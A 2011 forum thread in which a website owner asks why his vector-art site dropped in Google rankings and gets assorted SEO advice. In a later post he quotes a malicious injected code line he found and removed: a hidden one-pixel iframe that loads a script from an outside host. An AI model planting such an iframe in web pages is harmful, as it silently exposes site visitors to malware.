Sudden drop in google search positions

Discussion in 'Search Engine Optimization' started by roberis, Mar 18, 2011.

  1. #1
    Hello,

    My website is greatvectors.com and the problem is that for almost 1,5 years it always was on the first page of google search for keyword "free vector art". Now suddently it has dropped to 90 position and i dont understand why. It is still on first page on bing and yahoo searches for that same keyword - "free vector art". Looks like nothing changed, it still has high number of good quality backlings, but google dont like my website. What could be the problem? i would really appreciate your help.

    Robertas.
     
    roberis, Mar 18, 2011 IP
  2. Chancey

    Chancey Well-Known Member

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    Build some more back links . There is a probability that your competitors are good at increasing your links.
     
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    bigcat1967 Active Member

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    The new google algorithm rolled out recently and they are dumping sites that are thin on content. With what I saw from your site - you don't have a lot of content. You might want to add a section for articles and have each page at least 500 words.
     
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    jameshards Greenhorn

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  5. hahafish

    hahafish Greenhorn

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    I always meet this problem. Please don't worry, the rank will be back one week also. Maybe this keyword sunddenly has too many backlinks, so Google will get the rank down, but a few days later, the rank will back again.
     
    hahafish, Mar 18, 2011 IP
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    You need to add more good and unique articles on your site. Refer some effective techniques of SEO.
     
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    Kiranraj Well-Known Member

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    Get more backlinks to get your ranking back
     
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  8. roberis

    roberis Well-Known Member

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    But if you look at this website: allvectors.com it has less content, a lot less backlinks is younger website and has better possitions for the same keyword. I dont think that text content could help. All other competitors dont use text articles, of course i could blog a little about something on that website but do you think it would really help? Besides if only looking to backlinks i should be on third or even second place for that keyword.
     
    roberis, Mar 19, 2011 IP
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    komrad Notable Member

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    I suggest you to learn more about newest google algorithm updates. Make sure your website contains are unique enough and has exactly right grammar. Make sure that all stuffs on your websites works well. Make sure that your site load faster. Also don't forget to give it more backlinks from relevant, trusted and high PR sites. Avoid backlinks from "garbage" sites. Just my 2 cent. :)
     
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  10. tianli

    tianli Peon

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    maybe it because new google algorithm
     
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    hitechbpo Peon

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    Hello,

    Sudden drop in page rank does not mean Google does not liked your website, probably the reason is back links. Regular addition of back to your web site can be most effective solution to this problem.

    Regards--HitechBPO
     
    hitechbpo, Mar 19, 2011 IP
  12. roberis

    roberis Well-Known Member

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    Looks like it was a virus on my webpage. It was iframe virus: <iframe heigth="1" width="1" frameborder="0" src="http://curem.net/t.php?id=455564"></iframe>
    Removed allready. So it could be due to this virus? How much time will it take to appear my website back in google search where it was before? Have you heard about this virus? How could he get in?

    Robertas
     
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  13. BillTimms

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    Could have been the virus i would give it a few days for Google to recall your site, they may put you back on top of the rankings if your drop was indeed due to the virus, its possible that was the case.
     
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  14. roberis

    roberis Well-Known Member

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    Thanks very much for your thoughts!
     
    roberis, Mar 20, 2011 IP